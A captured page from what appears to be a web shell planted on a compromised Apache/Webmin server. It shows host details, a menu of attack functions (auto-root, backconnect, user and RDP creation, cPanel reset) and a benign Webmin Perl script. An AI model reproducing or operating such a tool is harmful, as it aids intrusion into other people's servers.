Linux server.thearyasamaj.org 4.18.0-553.56.1.el8_10.x86_64 #1 SMP Tue Jun 10 05:00:59 EDT 2025 x86_64
Apache
: 103.90.241.146 | : 216.73.216.126
Cant Read [ /etc/named.conf ]
5.6.40
ftpuser@mantra.thearyasamaj.org
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
usr /
libexec /
webmin /
servers /
[ HOME SHELL ]
Name
Size
Permission
Action
images
[ DIR ]
drwxr-xr-x
lang
[ DIR ]
drwxr-xr-x
CHANGELOG
1.63
KB
-rw-r--r--
acl_security.pl
2.46
KB
-rwxr-xr-x
auto.pl
2.9
KB
-rwxr-xr-x
backup_config.pl
678
B
-rwxr-xr-x
cgi_args.pl
313
B
-rwxr-xr-x
config
140
B
-rw-r--r--
config-debian-linux
174
B
-rw-r--r--
config-redhat-linux
180
B
-rw-r--r--
config-syno-linux
140
B
-rw-r--r--
config.info
977
B
-rw-r--r--
config.info.ar
1.5
KB
-rw-r--r--
config.info.ca
1.17
KB
-rw-r--r--
config.info.cs
421
B
-rw-r--r--
config.info.de
1.14
KB
-rw-r--r--
config.info.es
481
B
-rw-r--r--
config.info.fr
489
B
-rw-r--r--
config.info.hu
147
B
-rw-r--r--
config.info.it
1.03
KB
-rw-r--r--
config.info.ja
1.21
KB
-rw-r--r--
config.info.ko
983
B
-rw-r--r--
config.info.ms
934
B
-rw-r--r--
config.info.nl
979
B
-rw-r--r--
config.info.no
925
B
-rw-r--r--
config.info.pl
1.02
KB
-rw-r--r--
config.info.pt_BR
460
B
-rw-r--r--
config.info.ru
1.48
KB
-rw-r--r--
config.info.sk
445
B
-rw-r--r--
config.info.sv
99
B
-rw-r--r--
config.info.tr
487
B
-rw-r--r--
config.info.zh
81
B
-rw-r--r--
config.info.zh_TW
60
B
-rw-r--r--
config_info.pl
264
B
-rwxr-xr-x
defaultacl
88
B
-rw-r--r--
delete_servs.cgi
836
B
-rwxr-xr-x
edit_auto.cgi
2.32
KB
-rwxr-xr-x
edit_serv.cgi
4.8
KB
-rwxr-xr-x
find.cgi
1.46
KB
-rwxr-xr-x
index-json.cgi
266
B
-rwxr-xr-x
index.cgi
5.76
KB
-rwxr-xr-x
link.cgi
7
KB
-rwxr-xr-x
log_parser.pl
843
B
-rwxr-xr-x
login.cgi
441
B
-rwxr-xr-x
logout.cgi
340
B
-rwxr-xr-x
module.info
178
B
-rw-r--r--
module.info.af
0
B
-rw-r--r--
module.info.af.auto
124
B
-rw-r--r--
module.info.ar
133
B
-rw-r--r--
module.info.ar.auto
23
B
-rw-r--r--
module.info.be
0
B
-rw-r--r--
module.info.be.auto
189
B
-rw-r--r--
module.info.bg
0
B
-rw-r--r--
module.info.bg.auto
190
B
-rw-r--r--
module.info.ca
120
B
-rw-r--r--
module.info.ca.auto
18
B
-rw-r--r--
module.info.cs
31
B
-rw-r--r--
module.info.cs.auto
92
B
-rw-r--r--
module.info.da
0
B
-rw-r--r--
module.info.da.auto
119
B
-rw-r--r--
module.info.de
117
B
-rw-r--r--
module.info.de.auto
15
B
-rw-r--r--
module.info.el
0
B
-rw-r--r--
module.info.el.auto
194
B
-rw-r--r--
module.info.es
37
B
-rw-r--r--
module.info.es.auto
109
B
-rw-r--r--
module.info.eu
0
B
-rw-r--r--
module.info.eu.auto
141
B
-rw-r--r--
module.info.fa
0
B
-rw-r--r--
module.info.fa.auto
193
B
-rw-r--r--
module.info.fi
0
B
-rw-r--r--
module.info.fi.auto
145
B
-rw-r--r--
module.info.fr
34
B
-rw-r--r--
module.info.fr.auto
102
B
-rw-r--r--
module.info.he
0
B
-rw-r--r--
module.info.he.auto
141
B
-rw-r--r--
module.info.hr
0
B
-rw-r--r--
module.info.hr.auto
141
B
-rw-r--r--
module.info.hu
25
B
-rw-r--r--
module.info.hu.auto
109
B
-rw-r--r--
module.info.it
33
B
-rw-r--r--
module.info.it.auto
99
B
-rw-r--r--
module.info.ja
141
B
-rw-r--r--
module.info.ko
32
B
-rw-r--r--
module.info.ko.auto
109
B
-rw-r--r--
module.info.lt
0
B
-rw-r--r--
module.info.lt.auto
151
B
-rw-r--r--
module.info.lv
0
B
-rw-r--r--
module.info.lv.auto
131
B
-rw-r--r--
module.info.ms
110
B
-rw-r--r--
module.info.ms.auto
16
B
-rw-r--r--
module.info.mt
0
B
-rw-r--r--
module.info.mt.auto
127
B
-rw-r--r--
module.info.nl
29
B
-rw-r--r--
module.info.nl.auto
97
B
-rw-r--r--
module.info.no
23
B
-rw-r--r--
module.info.no.auto
89
B
-rw-r--r--
module.info.pl
24
B
-rw-r--r--
module.info.pl.auto
95
B
-rw-r--r--
module.info.pt
36
B
-rw-r--r--
module.info.pt.auto
107
B
-rw-r--r--
module.info.pt_BR
40
B
-rw-r--r--
module.info.pt_BR.auto
113
B
-rw-r--r--
module.info.ro
0
B
-rw-r--r--
module.info.ro.auto
125
B
-rw-r--r--
module.info.ru
30
B
-rw-r--r--
module.info.ru.auto
152
B
-rw-r--r--
module.info.sk
31
B
-rw-r--r--
module.info.sk.auto
91
B
-rw-r--r--
module.info.sl
0
B
-rw-r--r--
module.info.sl.auto
133
B
-rw-r--r--
module.info.sv
27
B
-rw-r--r--
module.info.sv.auto
93
B
-rw-r--r--
module.info.th
0
B
-rw-r--r--
module.info.th.auto
285
B
-rw-r--r--
module.info.tr
36
B
-rw-r--r--
module.info.tr.auto
111
B
-rw-r--r--
module.info.uk
0
B
-rw-r--r--
module.info.uk.auto
192
B
-rw-r--r--
module.info.ur
0
B
-rw-r--r--
module.info.ur.auto
188
B
-rw-r--r--
module.info.vi
0
B
-rw-r--r--
module.info.vi.auto
163
B
-rw-r--r--
module.info.zh
30
B
-rw-r--r--
module.info.zh.auto
85
B
-rw-r--r--
module.info.zh_TW
34
B
-rw-r--r--
module.info.zh_TW.auto
91
B
-rw-r--r--
prefs.info
63
B
-rw-r--r--
save_auto.cgi
2.34
KB
-rwxr-xr-x
save_serv.cgi
3.31
KB
-rwxr-xr-x
servers-lib.pl
15.11
KB
-rwxr-xr-x
uninstall.pl
262
B
-rwxr-xr-x
Delete
Unzip
Zip
${this.title}
Close
Code Editor : auto.pl
#!/usr/bin/perl # Automatically discover new servers $no_acl_check++; use strict; use warnings; no warnings 'redefine'; no warnings 'uninitialized'; require './servers-lib.pl'; our (%config, %text, @cluster_modules); &foreign_require("mailboxes", "mailboxes-lib.pl"); &foreign_require("net", "net-lib.pl"); my $debug; if ($ARGV[0] eq "--debug" || $ARGV[0] eq "-debug") { $debug = 1; } my $nets; if (!$config{'auto_net'}) { $nets = &get_my_address(); } elsif (&check_ipaddress($config{'auto_net'})) { $nets = $config{'auto_net'}; } else { my ($iface) = grep { $_->{'fullname'} eq $config{'auto_net'} } &net::active_interfaces(); $iface && $iface->{'address'} || die $text{'find_eiface'}; $nets = $iface->{'address'}; } my @broad; foreach my $net (split(/\s+/, $nets)) { $net =~ s/\.\d+$/\.0/; $net =~ /^(\d+\.\d+\.\d+)\.0$/ || die $text{'find_escan'}; for(my $i=0; $i<256; $i++) { push(@broad, "$1.$i"); } } my $limit = $config{'scan_time'}; my @cluster = grep { $config{'auto_'.$_} } @cluster_modules; if ($debug) { print "Checking on ",join(" ", @broad),"\n"; print "User = $config{'auto_user'}\n"; print "Pass = $config{'auto_pass'}\n"; } my ($found, $already, $foundme, $addmods) = &find_servers(\@broad, $config{'scan_time'}, !$debug, $config{'auto_user'}, $config{'auto_pass'}, $config{'auto_type'}, \@cluster, $config{'auto_self'}); if ($debug) { foreach my $f (@$found) { my $added = $addmods->{$f->{'id'}}; print "On $f->{'host'} added $added->[0]->{'host'} ", ($added->[1] ? "OK" : "FAILED")," ", $added->[2],"\n"; } } # Send an email for each new system found my @servers = &list_servers(); if ($config{'auto_email'}) { foreach my $f (@$found) { &send_auto_email(&text('email_regsubject', $f->{'host'}), &text('email_reg', $f->{'host'})); } } # See if there were any systems that are registered and on the same net, but # were not found 3 times in a row. if ($config{'auto_remove'}) { my @net = split(/\./, $nets); foreach my $s (@servers) { my $ip = &to_ipaddress($s->{'host'}); my @ip = split(/\./, $ip); if ($ip[0] == $net[0] && $ip[1] == $net[1] && $ip[2] == $net[2]) { # On scanned net, so should have been found my ($f) = grep { &to_ipaddress($_->{'host'}) eq $ip } (@$found, @$already); if (!$f && $s->{'notfound'}++ >= 3) { # Not found too many times Delete it .. &delete_server($s->{'id'}); if ($config{'auto_email'}) { &send_auto_email( &text('email_unregsubject', $f->{'host'}), &text('email_unreg', $f->{'host'})); } } else { # Found, or only not found once if ($f) { $s->{'notfound'} = 0; } &save_server($s); } } } } sub send_auto_email { my ($subject, $body) = @_; &mailboxes::send_text_mail(&mailboxes::get_from_address(), $config{'auto_email'}, undef, $subject, $body, $config{'auto_smtp'}); }
Close
